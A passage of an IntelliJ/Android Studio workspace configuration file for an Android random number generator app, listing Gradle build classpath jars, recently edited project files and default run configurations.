value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/android/tools/build/transform-api/2.0.0-deprecated-use-gradle-api/transform-api-2.0.0-deprecated-use-gradle-api.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/android/tools/build/builder/2.1.0/builder-2.1.0.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/org/ow2/asm/asm-debug-all/5.0.1/asm-debug-all-5.0.1-sources.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/org/ow2/asm/asm-debug-all/5.0.1/asm-debug-all-5.0.1.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/org/ow2/asm/asm-tree/5.0.3/asm-tree-5.0.3-sources.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/org/ow2/asm/asm-tree/5.0.3/asm-tree-5.0.3.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/google/guava/guava/17.0/guava-17.0-sources.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/google/guava/guava/17.0/guava-17.0.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/android/tools/annotations/25.1.0/annotations-25.1.0.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/android/tools/lint/lint-checks/25.1.0/lint-checks-25.1.0.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/org/eclipse/jdt/core/compiler/ecj/4.4.2/ecj-4.4.2-sources.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/org/eclipse/jdt/core/compiler/ecj/4.4.2/ecj-4.4.2.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/googlecode/juniversalchardet/juniversalchardet/1.0.3/juniversalchardet-1.0.3.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/tunnelvisionlabs/antlr4/4.5/antlr4-4.5.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/commons-io/commons-io/2.4/commons-io-2.4-sources.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/commons-io/commons-io/2.4/commons-io-2.4.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/android/databinding/baseLibrary/2.1.0/baseLibrary-2.1.0.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/net/sf/proguard/proguard-base/5.2.1/proguard-base-5.2.1-sources.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/net/sf/proguard/proguard-base/5.2.1/proguard-base-5.2.1.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/android/tools/build/builder-model/2.1.0/builder-model-2.1.0.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/android/tools/common/25.1.0/common-25.1.0.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/android/tools/ddms/ddmlib/25.1.0/ddmlib-25.1.0.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/org/bouncycastle/bcprov-jdk15on/1.48/bcprov-jdk15on-1.48-sources.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/org/bouncycastle/bcprov-jdk15on/1.48/bcprov-jdk15on-1.48.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/android/tools/sdklib/25.1.0/sdklib-25.1.0.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/squareup/javawriter/2.5.0/javawriter-2.5.0-sources.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/squareup/javawriter/2.5.0/javawriter-2.5.0.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/android/tools/build/builder-test-api/2.1.0/builder-test-api-2.1.0.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/android/tools/sdk-common/25.1.0/sdk-common-25.1.0.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/android/tools/build/manifest-merger/25.1.0/manifest-merger-25.1.0.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/android/tools/jack/jack-api/0.10.0/jack-api-0.10.0.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/org/bouncycastle/bcpkix-jdk15on/1.48/bcpkix-jdk15on-1.48-sources.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/org/bouncycastle/bcpkix-jdk15on/1.48/bcpkix-jdk15on-1.48.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/android/tools/jill/jill-api/0.10.0/jill-api-0.10.0.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/org/ow2/asm/asm-analysis/5.0.3/asm-analysis-5.0.3-sources.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/org/ow2/asm/asm-analysis/5.0.3/asm-analysis-5.0.3.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/android/tools/lint/lint-api/25.1.0/lint-api-25.1.0.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/tunnelvisionlabs/antlr4-runtime/4.5/antlr4-runtime-4.5.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/tunnelvisionlabs/antlr4-annotations/4.5/antlr4-annotations-4.5.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/org/antlr/antlr-runtime/3.5.2/antlr-runtime-3.5.2.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/org/antlr/ST4/4.0.8/ST4-4.0.8.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/net/sf/kxml/kxml2/2.3.0/kxml2-2.3.0-sources.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/net/sf/kxml/kxml2/2.3.0/kxml2-2.3.0.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/android/tools/repository/25.1.0/repository-25.1.0.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/org/apache/httpcomponents/httpclient/4.1.1/httpclient-4.1.1-sources.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/org/apache/httpcomponents/httpclient/4.1.1/httpclient-4.1.1.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/org/apache/httpcomponents/httpmime/4.1/httpmime-4.1-sources.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/org/apache/httpcomponents/httpmime/4.1/httpmime-4.1.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/google/code/gson/gson/2.2.4/gson-2.2.4-sources.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/google/code/gson/gson/2.2.4/gson-2.2.4.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/org/apache/commons/commons-compress/1.8.1/commons-compress-1.8.1-sources.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/org/apache/commons/commons-compress/1.8.1/commons-compress-1.8.1.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/android/tools/dvlib/25.1.0/dvlib-25.1.0.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/android/tools/layoutlib/layoutlib-api/25.1.0/layoutlib-api-25.1.0.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/android/tools/external/lombok/lombok-ast/0.2.3/lombok-ast-0.2.3-sources.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/android/tools/external/lombok/lombok-ast/0.2.3/lombok-ast-0.2.3.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/org/abego/treelayout/org.abego.treelayout.core/1.0.1/org.abego.treelayout.core-1.0.1.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/org/apache/httpcomponents/httpcore/4.1/httpcore-4.1-sources.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/org/apache/httpcomponents/httpcore/4.1/httpcore-4.1.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/commons-logging/commons-logging/1.1.1/commons-logging-1.1.1-sources.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/commons-logging/commons-logging/1.1.1/commons-logging-1.1.1.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/commons-codec/commons-codec/1.4/commons-codec-1.4-sources.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/commons-codec/commons-codec/1.4/commons-codec-1.4.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/intellij/annotations/12.0/annotations-12.0-sources.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/m2repository/com/intellij/annotations/12.0/annotations-12.0.jar" /> <option value="$USER_HOME$/Library/Android/sdk/extras/android/m2repository/com/android/support/appcompat-v7/23.3.0/appcompat-v7-23.3.0.aar" /> <option value="$USER_HOME$/Library/Android/sdk/extras/android/m2repository/com/android/support/design/23.3.0/design-23.3.0.aar" /> <option value="$USER_HOME$/.gradle/caches/modules-2/files-2.1/com.github.afollestad.material-dialogs/core/0.8.5.8/b4d41fdd96238d1e6c97575fccbc7c0f34a36368/core-0.8.5.8.aar" /> <option value="$USER_HOME$/.gradle/caches/modules-2/files-2.1/com.jakewharton/butterknife/7.0.1/d5d13ea991eab0252e3710e5df3d6a9d4b21d461/butterknife-7.0.1.jar" /> <option value="$USER_HOME$/.gradle/caches/modules-2/files-2.1/com.joanzapata.iconify/android-iconify-fontawesome/2.2.2/928b3e5124c431395319f4a0daa2572160f0d4a2/android-iconify-fontawesome-2.2.2.aar" /> <option value="$USER_HOME$/.gradle/caches/modules-2/files-2.1/com.joanzapata.iconify/android-iconify-ionicons/2.2.2/7275b0e41ceea9f529c2034da11db27151ef628e/android-iconify-ionicons-2.2.2.aar" /> <option value="$USER_HOME$/.gradle/caches/modules-2/files-2.1/com.github.rey5137/material/1.2.2/febd2d94a6309e3eb337231577abd3eadd5226b8/material-1.2.2.aar" /> <option value="$USER_HOME$/.gradle/caches/modules-2/files-2.1/io.realm/realm-android/0.87.1/6d9a1bba4e31252cc8183aa27a32e6edbdacaeb7/realm-android-0.87.1.jar" /> <option value="$USER_HOME$/Library/Android/sdk/extras/android/m2repository/com/android/support/support-vector-drawable/23.3.0/support-vector-drawable-23.3.0.aar" /> <option value="$USER_HOME$/Library/Android/sdk/extras/android/m2repository/com/android/support/animated-vector-drawable/23.3.0/animated-vector-drawable-23.3.0.aar" /> <option value="$USER_HOME$/Library/Android/sdk/extras/android/m2repository/com/android/support/support-v4/23.3.0/support-v4-23.3.0.aar" /> <option value="$USER_HOME$/Library/Android/sdk/extras/android/m2repository/com/android/support/recyclerview-v7/23.3.0/recyclerview-v7-23.3.0.aar" /> <option value="$USER_HOME$/.gradle/caches/modules-2/files-2.1/me.zhanghai.android.materialprogressbar/library/1.1.5/afbd308dd929885b239f90e170d9b88ed292bc07/library-1.1.5.aar" /> <option value="$USER_HOME$/Library/Android/sdk/extras/android/m2repository/com/android/support/support-annotations/23.3.0/support-annotations-23.3.0.jar" /> <option value="$USER_HOME$/.gradle/caches/modules-2/files-2.1/com.joanzapata.iconify/android-iconify/2.2.2/ec87ddc551e6e266f17c2569a1bd29bf7640e0ed/android-iconify-2.2.2.aar" /> <option value="$USER_HOME$/Library/Android/sdk/extras/android/m2repository/com/android/support/cardview-v7/23.1.1/cardview-v7-23.1.1.aar" /> </list> </option> <option name="path" value="$PROJECT_DIR$/app" /> </ExternalModuleBuildClasspathPojo> </value> </entry> </map> </option> <option name="name" value="app" /> <option name="projectBuildClasspath"> <list> <option value="$APPLICATION_HOME_DIR$/gradle/gradle-2.10/lib/ant-1.9.3.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/gradle-2.10/lib/ant-launcher-1.9.3.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/gradle-2.10/lib/gradle-base-services-2.10.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/gradle-2.10/lib/gradle-base-services-groovy-2.10.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/gradle-2.10/lib/gradle-cli-2.10.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/gradle-2.10/lib/gradle-core-2.10.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/gradle-2.10/lib/gradle-docs-2.10.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/gradle-2.10/lib/gradle-launcher-2.10.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/gradle-2.10/lib/gradle-messaging-2.10.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/gradle-2.10/lib/gradle-model-core-2.10.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/gradle-2.10/lib/gradle-model-groovy-2.10.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/gradle-2.10/lib/gradle-native-2.10.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/gradle-2.10/lib/gradle-open-api-2.10.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/gradle-2.10/lib/gradle-resources-2.10.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/gradle-2.10/lib/gradle-tooling-api-2.10.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/gradle-2.10/lib/gradle-ui-2.10.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/gradle-2.10/lib/gradle-wrapper-2.10.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/gradle-2.10/lib/groovy-all-2.4.4.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/gradle-2.10/lib/plugins/gradle-announce-2.10.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/gradle-2.10/lib/plugins/gradle-antlr-2.10.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/gradle-2.10/lib/plugins/gradle-build-comparison-2.10.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/gradle-2.10/lib/plugins/gradle-build-init-2.10.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/gradle-2.10/lib/plugins/gradle-code-quality-2.10.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/gradle-2.10/lib/plugins/gradle-dependency-management-2.10.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/gradle-2.10/lib/plugins/gradle-diagnostics-2.10.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/gradle-2.10/lib/plugins/gradle-ear-2.10.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/gradle-2.10/lib/plugins/gradle-ide-2.10.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/gradle-2.10/lib/plugins/gradle-ide-native-2.10.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/gradle-2.10/lib/plugins/gradle-ivy-2.10.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/gradle-2.10/lib/plugins/gradle-jacoco-2.10.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/gradle-2.10/lib/plugins/gradle-javascript-2.10.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/gradle-2.10/lib/plugins/gradle-jetty-2.10.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/gradle-2.10/lib/plugins/gradle-language-groovy-2.10.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/gradle-2.10/lib/plugins/gradle-language-java-2.10.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/gradle-2.10/lib/plugins/gradle-language-jvm-2.10.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/gradle-2.10/lib/plugins/gradle-language-native-2.10.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/gradle-2.10/lib/plugins/gradle-language-scala-2.10.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/gradle-2.10/lib/plugins/gradle-maven-2.10.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/gradle-2.10/lib/plugins/gradle-osgi-2.10.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/gradle-2.10/lib/plugins/gradle-platform-base-2.10.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/gradle-2.10/lib/plugins/gradle-platform-jvm-2.10.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/gradle-2.10/lib/plugins/gradle-platform-native-2.10.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/gradle-2.10/lib/plugins/gradle-platform-play-2.10.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/gradle-2.10/lib/plugins/gradle-plugin-development-2.10.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/gradle-2.10/lib/plugins/gradle-plugin-use-2.10.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/gradle-2.10/lib/plugins/gradle-plugins-2.10.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/gradle-2.10/lib/plugins/gradle-publish-2.10.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/gradle-2.10/lib/plugins/gradle-reporting-2.10.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/gradle-2.10/lib/plugins/gradle-resources-http-2.10.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/gradle-2.10/lib/plugins/gradle-resources-s3-2.10.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/gradle-2.10/lib/plugins/gradle-resources-sftp-2.10.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/gradle-2.10/lib/plugins/gradle-scala-2.10.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/gradle-2.10/lib/plugins/gradle-signing-2.10.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/gradle-2.10/lib/plugins/gradle-sonar-2.10.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/gradle-2.10/lib/plugins/gradle-test-kit-2.10.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/gradle-2.10/lib/plugins/gradle-testing-native-2.10.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/gradle-2.10/lib/plugins/gradle-tooling-api-builders-2.10.jar" /> <option value="$APPLICATION_HOME_DIR$/gradle/gradle-2.10/lib/plugins/ivy-2.2.0.jar" /> <option value="$PROJECT_DIR$/buildSrc/src/main/java" /> <option value="$PROJECT_DIR$/buildSrc/src/main/groovy" /> </list> </option> </ExternalProjectBuildClasspathPojo> </value> </entry> </map> </option> <option name="externalProjectsViewState"> <projects_view /> </option> </component> <component name="IdeDocumentHistory"> <option name="CHANGED_PATHS"> <list> <option value="$PROJECT_DIR$/build.gradle" /> <option value="$PROJECT_DIR$/app/src/main/java/com/randomappsinc/randomnumbergeneratorplus/Activities/StandardActivity.java" /> <option value="$PROJECT_DIR$/app/src/main/res/anim/slide_left_out.xml" /> <option value="$PROJECT_DIR$/app/src/main/res/anim/slide_left_in.xml" /> <option value="$PROJECT_DIR$/app/src/main/res/values/integers.xml" /> <option value="$PROJECT_DIR$/app/src/main/res/anim/slide_right_out.xml" /> <option value="$PROJECT_DIR$/app/src/main/res/anim/slide_right_in.xml" /> <option value="$PROJECT_DIR$/app/src/main/res/values/settings_item_cell.xml" /> <option value="$PROJECT_DIR$/app/src/main/res/layout/settings_item_cell.xml" /> <option value="$PROJECT_DIR$/app/src/main/res/drawable/edittext_border.xml" /> <option value="$PROJECT_DIR$/app/src/main/res/values/configuration_styles.xml" /> <option value="$PROJECT_DIR$/app/src/main/java/com/randomappsinc/randomnumbergeneratorplus/Adapters/SettingsAdapter.java" /> <option value="$PROJECT_DIR$/app/src/main/res/layout/excluded_number_cell.xml" /> <option value="$PROJECT_DIR$/app/src/main/res/layout/other_apps.xml" /> <option value="$PROJECT_DIR$/app/src/main/java/com/randomappsinc/randomnumbergeneratorplus/Adapters/OtherAppsAdapter.java" /> <option value="$PROJECT_DIR$/app/src/main/res/layout/other_app_cell.xml" /> <option value="$PROJECT_DIR$/app/src/main/java/com/randomappsinc/randomnumbergeneratorplus/Activities/OtherAppsActivity.java" /> <option value="$PROJECT_DIR$/app/src/main/res/values/other_apps_strings.xml" /> <option value="$PROJECT_DIR$/app/src/main/java/com/randomappsinc/randomnumbergeneratorplus/Persistence/Database/ExcludedNumber.java" /> <option value="$PROJECT_DIR$/app/src/main/java/com/randomappsinc/randomnumbergeneratorplus/Persistence/Database/Configuration.java" /> <option value="$PROJECT_DIR$/app/src/main/java/com/randomappsinc/randomnumbergeneratorplus/Utils/ConversionUtils.java" /> <option value="$PROJECT_DIR$/app/src/main/AndroidManifest.xml" /> <option value="$PROJECT_DIR$/app/src/main/java/com/randomappsinc/randomnumbergeneratorplus/Adapters/ExcludedNumbersAdapter.java" /> <option value="$PROJECT_DIR$/app/src/main/res/layout/settings.xml" /> <option value="$PROJECT_DIR$/app/src/main/java/com/randomappsinc/randomnumbergeneratorplus/Utils/FormUtils.java" /> <option value="$PROJECT_DIR$/app/src/main/res/values/styles.xml" /> <option value="$PROJECT_DIR$/app/src/main/res/layout/edit_excluded.xml" /> <option value="$PROJECT_DIR$/app/src/main/java/com/randomappsinc/randomnumbergeneratorplus/Activities/EditExcludedActivity.java" /> <option value="$PROJECT_DIR$/app/src/main/java/com/randomappsinc/randomnumbergeneratorplus/Persistence/Database/DatabaseManager.java" /> <option value="$PROJECT_DIR$/app/src/main/res/layout/configuration_cell.xml" /> <option value="$PROJECT_DIR$/app/src/main/res/values/colors.xml" /> <option value="$PROJECT_DIR$/app/src/main/res/layout/config_cell.xml" /> <option value="$PROJECT_DIR$/app/src/main/res/layout/edit_configurations.xml" /> <option value="$PROJECT_DIR$/app/src/main/java/com/randomappsinc/randomnumbergeneratorplus/Activities/EditConfigurationsActivity.java" /> <option value="$PROJECT_DIR$/app/src/main/java/com/randomappsinc/randomnumbergeneratorplus/Adapters/ConfigurationsAdapter.java" /> <option value="$PROJECT_DIR$/app/src/main/res/layout/homepage.xml" /> <option value="$PROJECT_DIR$/app/src/main/java/com/randomappsinc/randomnumbergeneratorplus/Activities/SettingsActivity.java" /> <option value="$PROJECT_DIR$/app/src/main/java/com/randomappsinc/randomnumbergeneratorplus/Persistence/PreferencesManager.java" /> <option value="$PROJECT_DIR$/app/src/main/res/values/edit_excluded_strings.xml" /> <option value="$PROJECT_DIR$/app/src/main/java/com/randomappsinc/randomnumbergeneratorplus/Utils/RandUtils.java" /> <option value="$PROJECT_DIR$/app/src/main/java/com/randomappsinc/randomnumbergeneratorplus/Activities/MainActivity.java" /> <option value="$PROJECT_DIR$/app/src/main/res/values/config_strings.xml" /> <option value="$PROJECT_DIR$/app/src/main/res/values/settings_strings.xml" /> <option value="$PROJECT_DIR$/app/src/main/res/values/strings.xml" /> <option value="$PROJECT_DIR$/app/src/main/java/com/randomappsinc/randomnumbergeneratorplus/Utils/MyApplication.java" /> <option value="$PROJECT_DIR$/app/build.gradle" /> <option value="$PROJECT_DIR$/app/src/main/res/menu/menu_main.xml" /> <option value="$PROJECT_DIR$/app/src/main/res/drawable/ripple_button.xml" /> </list> </option> </component> <component name="MavenImportPreferences"> <option name="generalSettings"> <MavenGeneralSettings> <option name="mavenHome" value="Bundled (Maven 3)" /> </MavenGeneralSettings> </option> </component> <component name="ProjectFrameBounds"> <option name="y" value="23" /> <option name="width" value="1280" /> <option name="height" value="709" /> </component> <component name="ProjectLevelVcsManager" settingsEditedManually="true"> <OptionsSetting value="true" id="Add" /> <OptionsSetting value="true" id="Remove" /> <OptionsSetting value="true" id="Checkout" /> <OptionsSetting value="true" id="Update" /> <OptionsSetting value="true" id="Status" /> <OptionsSetting value="true" id="Edit" /> <ConfirmationsSetting value="2" id="Add" /> <ConfirmationsSetting value="0" id="Remove" /> </component> <component name="ProjectView"> <navigator currentView="AndroidView" proportions="" version="1"> <flattenPackages /> <showMembers /> <showModules /> <showLibraryContents /> <hideEmptyPackages /> <abbreviatePackageNames /> <autoscrollToSource /> <autoscrollFromSource /> <sortByType /> <manualOrder /> <foldersAlwaysOnTop value="true" /> </navigator> <panes> <pane id="ProjectPane" /> <pane id="PackagesPane" /> <pane id="Scope" /> <pane id="AndroidView"> <subPane> <PATH> <PATH_ELEMENT> <option name="myItemId" value="rngplus" /> <option name="myItemType" value="com.android.tools.idea.navigator.nodes.AndroidViewProjectNode" /> </PATH_ELEMENT> </PATH> </subPane> </pane> <pane id="Scratches" /> </panes> </component> <component name="PropertiesComponent"> <property name="last_opened_file_path" value="$PROJECT_DIR$/../keys/randomappsinc.jks" /> <property name="settings.editor.selected.configurable" value="preferences.updates" /> <property name="settings.editor.splitter.proportion" value="0.2" /> <property name="recentsLimit" value="5" /> <property name="ANDROID_EXTENDED_DEVICE_CHOOSER_SERIALS" value="d2659bb9" /> <property name="ANDROID_EXTENDED_DEVICE_CHOOSER_AVD" value="Nexus_5_API_21_x86" /> <property name="OverrideImplement.combined" value="true" /> <property name="OverrideImplement.overriding.sorted" value="false" /> <property name="lastFolderRoot" value="$USER_HOME$/Downloads/sql_practice.png" /> <property name="ExportApk.ApkPath" value="$PROJECT_DIR$/app" /> <property name="ExportApk.Flavors" value="" /> <property name="ExportApk.BuildType" value="release" /> <property name="device.picker.selection" value="192.168.59.101:5555" /> </component> <component name="RunManager" selected="Android Application.app"> <configuration default="true" type="AndroidRunConfigurationType" factoryName="Android Application"> <module name="" /> <option name="DEPLOY" value="true" /> <option name="ARTIFACT_NAME" value="" /> <option name="PM_INSTALL_OPTIONS" value="" /> <option name="ACTIVITY_EXTRA_FLAGS" value="" /> <option name="MODE" value="default_activity" /> <option name="TARGET_SELECTION_MODE" value="SHOW_DIALOG" /> <option name="PREFERRED_AVD" value="" /> <option name="CLEAR_LOGCAT" value="false" /> <option name="SHOW_LOGCAT_AUTOMATICALLY" value="true" /> <option name="SKIP_NOOP_APK_INSTALLATIONS" value="true" /> <option name="FORCE_STOP_RUNNING_APP" value="true" /> <option name="DEBUGGER_TYPE" value="Java" /> <option name="USE_LAST_SELECTED_DEVICE" value="false" /> <option name="PREFERRED_AVD" value="" /> <option name="SELECTED_CLOUD_MATRIX_CONFIGURATION_ID" value="-1" /> <option name="SELECTED_CLOUD_MATRIX_PROJECT_ID" value="" /> <Hybrid> <option name="WORKING_DIR" value="" /> <option name="TARGET_LOGGING_CHANNELS" value="lldb process:gdb-remote packets" /> </Hybrid> <Native> <option name="WORKING_DIR" value="" /> <option name="TARGET_LOGGING_CHANNELS" value="lldb process:gdb-remote packets" /> </Native> <Java /> <Profilers> <option name="GAPID_DISABLE_PCS" value="false" /> </Profilers> <option name="DEEP_LINK" value="" /> <option name="ACTIVITY_CLASS" value="" /> <method /> </configuration> <configuration default="true" type="AndroidTestRunConfigurationType" factoryName="Android Tests"> <module name="" /> <option name="TESTING_TYPE" value="0" /> <option name="INSTRUMENTATION_RUNNER_CLASS" value="" /> <option name="METHOD_NAME" value="" /> <option name="CLASS_NAME" value="" /> <option name="PACKAGE_NAME" value="" /> <option name="EXTRA_OPTIONS" value="" /> <option name="TARGET_SELECTION_MODE" value="SHOW_DIALOG" /> <option name="PREFERRED_AVD" value="" /> <option name="CLEAR_LOGCAT" value="false" /> <option name="SHOW_LOGCAT_AUTOMATICALLY" value="true" /> <option name="SKIP_NOOP_APK_INSTALLATIONS" value="true" /> <option name="FORCE_STOP_RUNNING_APP" value="true" /> <option name="DEBUGGER_TYPE" value="Java" /> <option name="USE_LAST_SELECTED_DEVICE" value="false" /> <option name="PREFERRED_AVD" value="" /> <option name="SELECTED_CLOUD_MATRIX_CONFIGURATION_ID" value="-1" /> <option name="SELECTED_CLOUD_MATRIX_PROJECT_ID" value="" /> <Hybrid> <option name="WORKING_DIR" value="" /> <option name="TARGET_LOGGING_CHANNELS" value="lldb process:gdb-remote packets" /> </Hybrid> <Native> <option name="WORKING_DIR" value="" /> <option name="TARGET_LOGGING_CHANNELS" value="lldb process:gdb-remote packets" /> </Native> <Java /> <Profilers> <option name="GAPID_DISABLE_PCS" value="false" /> </Profilers> <method /> </configuration> <configuration default="true" type="Application" factoryName="Application"> <extension name="coverage" enabled="false" merge="false" sample_coverage="true" runner="idea" /> <option name="MAIN_CLASS_NAME" /> <option name="VM_PARAMETERS" /> <option name="PROGRAM_PARAMETERS" /> <option name="WORKING_DIRECTORY" value="$PROJECT_DIR$" /> <option name="ALTERNATIVE_JRE_PATH_ENABLED" value="false" /> <option name="ALTERNATIVE_JRE_PATH" /> <option name="ENABLE_SWING_INSPECTOR" value="false" /> <option name="ENV_VARIABLES" /> <option name="PASS_PARENT_ENVS" value="true" /> <module name="" /> <envs /> <method /> </configuration> <configuration default="true" type="JUnit" factoryName="JUnit"> <extension name="coverage" enabled="false" merge="false" sample_coverage="true" runner="idea" /> <module name="" /> <option name="ALTERNATIVE_JRE_PATH_ENABLED" value="false" /> <option name="ALTERNATIVE_JRE_PATH" /> <option name="PACKAGE_NAME" /> <option name="MAIN_CLASS_NAME" /> <option name="METHOD_NAME" /> <option name="TEST_OBJECT" value="class" /> <option name="VM_PARAMETERS" value="-ea" /> <option name="PARAMETERS" /> <option name="WORKING_DIRECTORY" value="$MODULE_DIR$" /> <option name="ENV_VARIABLES" /> <option name="PASS_PARENT_ENVS" value="true" /> <option name="TEST_SEARCH_SCOPE"> <value defaultName="singleModule" /> </option> <envs /> <patterns /> <method> <option name="Make" enabled="false" /> <option name="Android.Gradle.BeforeRunTask" enabled="true" /> </method> </configuration> <configuration default="true" type="JUnitTestDiscovery" factoryName="JUnit Test Discovery" changeList="All"> <extension name="coverage" enabled="false" merge="false" sample_coverage="true" runner="idea" /> <module name="" /> <option name="ALTERNATIVE_JRE_PATH_ENABLED" value="false" /> <option name="ALTERNATIVE_JRE_PATH" /> <option name="PACKAGE_NAME" /> <option name="MAIN_CLASS_NAME" /> <option name="METHOD_NAME" /> <option name="TEST_OBJECT" value="class" /> <option 